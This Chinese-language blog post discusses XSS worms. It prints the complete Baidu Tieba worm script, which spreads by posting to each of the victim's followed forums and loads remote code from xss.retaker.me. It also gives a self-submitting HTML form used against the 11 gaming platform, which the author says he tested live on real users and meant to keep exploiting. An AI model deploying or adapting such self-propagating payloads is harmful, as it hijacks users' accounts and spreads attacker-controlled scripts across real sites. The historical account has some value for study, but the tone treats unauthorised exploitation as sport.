蠕虫来了!小议xss worm的前世今生

日前,百度贴吧爆发了一次xss 蠕虫,这个虫子几乎把整个贴吧都爬了一遍。xss worm到底是一个什么样的技术?今天就乘着度娘爆发的小虫子,看看xss worm的前世今生。

一、世界上的第一条xss 虫子

在2005年10月初,第一只Web 2.0蠕虫I-Worm/JS.Sammy也是利用著名网络社区MySpace.com的系统漏洞,以跨站脚本攻击(XSS)的方式进行传播的Sammy 蠕虫的作者在社区个人资料中插入病毒脚本,当其他MySpace.com用户查看他的资料时,病毒脚本就会运行,自动把病毒作者加为好友,同时病毒本身也 会被复制到浏览者的个人资料里面。不到20个小时,就有超过100万MySpace.com用户受到感染,造成网站一度瘫痪。MySpace.com为此 不得不禁止所有用户在个人资料中加入任何脚本程序。

——from《web2.0网站安全思考》

这是世界上的第一条xss虫子,不像以前的蠕虫,只要是在MySpace.com这个域网络社区为平台,无论前端用户的计算机是什么系统,只要浏览器执行,那用户即可能被感染,

其后国内也爆发过一阵,饭否、百度空间、渣浪,都有过被虫子蠕动的经历,其实可以看的出来,这些站点都有一个相同点,他们的交互性很强,一个用户参与度高的站导致了用户对页面的操作权限很高,虫子也就通过这一点爆发。它满足病毒的性质,在web上通过HTTP请求各种传播,利用客户端执行一些恶意javascript脚本。

[1]对使用者的数据具有操作权限

[2]也可以对网站造成阻止服务攻击(我不习惯说拒绝服务攻击,因为deny应该翻译为组织,拒绝是双方行为,而攻击发生并不是受害方主动拒绝,而是对其服务进行阻止,对这个名称不服的请来辩!)

[3]邪恶的传播网马,比如通过ActiveX控件进行本地攻击(这个控件我就不太想吐槽了,之前在我空间里发过一个利用该控件进行本地溢出的。。。不多说,蛋疼),因为worm的传播速度本来就快的飞起,网马结合后造成的攻击力,我想应该是成吨的伤害。

二、度娘的worm

  1. var forumName = [];
  2. var forumId = [];
  3. for (var i = 0, j = 0; i <PageData.user.user_forum_list.info.length; i++) { if (PageData.user.user_forum_list.info[i].user_level > 3) {
  4. if (PageData.user.user_forum_list.info[i].forum_name!=”璐村惂鐩戞帶”) {
  5. forumName[j] = PageData.user.user_forum_list.info[i].forum_name;
  6. forumId[j] = PageData.user.user_forum_list.info[i].id;
  7. j++;
  8. }
  9. }
  10. }
  11. function madeit(myKw, myFid) {
  12. var c = rich_postor._getData();
  13. c.content=”\\u8bf7\\u5141\\u8bb8\\u6211\\u505a\\u4e00\\u4e2a\\u5fe7\\u4f24\\u7684\\u8868\\u60c5\\uff0c\\u662f\\u5fe7\\u4f24\\u54e6\\uff01″;
  14. cc.ftid = c.fid;
  15. c.ptid = “2337372175″;
  16. c.title = ‘\\u70b9\\u8fdb\\u6765\\u6709..”,a:$.getScript(\\’//xss.retaker.me/1.js\\’),a:”‘;
  17. c.fid = myFid;
  18. c.kw = myKw;
  19. $.post(“/relay/commit”, c);
  20. }
  21. //now begin!
  22. for (j = 0; j < forumName.length; j++) {
  23. setTimeout(“madeit(‘” + forumName[j] + “‘,’” + forumId[j] + “‘)”, 1500 * j);
  24. }

这就是造成那个虫子的脚本,度娘响应还是快的,删贴神马的,不过最终停止是这个第三方js失效,截图如下:

 

123321
 

可以看到,影响蛮大的,这个虫子的行为是:一个用户中招后,就会在所有该用户收藏的贴吧中发帖,其传播速度可想而知了

第三方js的地址为:http://xss.retaker.me/1.js(现已失效)

在爆发时有个临时解决方案,即:在C:\Windows\System32\drivers\etc\hosts用记事本打开,添加127.0.0.1 xss.retaker.me

其实更觉得这位小哥像是在测试,然后就一不小心爆发了…(好吧,我还是太善良了)

除了本次事件外,在08年的度娘也爆发过一次

三、11平台的虫子

其实也不算是真正的xss worm,只是传播类似,好像是去年我才开学吧,我当时才学习前端安全不久(一直玩渗透,前端安全也是当工具用~)新浪微博好像是就挖出一个潜在的虫子,是个持久性的xss,在个人设置中个人资料填写存在持久性xss,当鼠标停留在用户id时,即触发xss攻击

写一个post请求

<form accept-charset=”utf-8″ onsubmit=”document.charset=’utf-8′;document.getElementById(‘intro’).value = decodeURIComponent(document.getElementById(‘intro’).value);” name=”form” method=”post” action=”http://i.5211game.com/request/” target=”_self” > <input name=”method” type=”text” value=”publish”> <input name=”tag” type=”text” value=””> <input name=”pic” type=”text” value=””> <input name=”content” value=”么么哒~@测试id”> <input name=”tx” type=”text” value=”0″> <input name=”sina” type=”text” value=”0″> <input name=”lastId” type=”text” value=”2522856″> <input name=”oldId” type=”text” value=”2514419″> <input name=”lasttime” type=”text” value=”1343530565579″> <input name=”tp” type=”text” value=”phrase”> <input name=”submit” type=”image” src=”http://xxxxxxxxxx” value=”11111″ onclick=”submit()”/> </form> <script type=”text/javascript”> document.form.submit(); </script>

行为如下:

自动提交post,只要有其他用户在11社区鼠标停留到该测试id,即触发

比较操蛋的是当时小规模测试成了,然后本来想留着多玩两天的,被wooyun的一个同学提交了,我擦。。。

四、 小福利,应该是没公开的小漏洞奉上

这个洞也是我找的,也是11平台(哈哈,我喜欢打dota),不过这个洞的位置在发布私信处,指哪儿打哪儿啊

 

123321
 

 

321123
 

蠕虫来了!小议xss worm的前世今生:等您发表观点!

发表评论


快捷键:Ctrl+Enter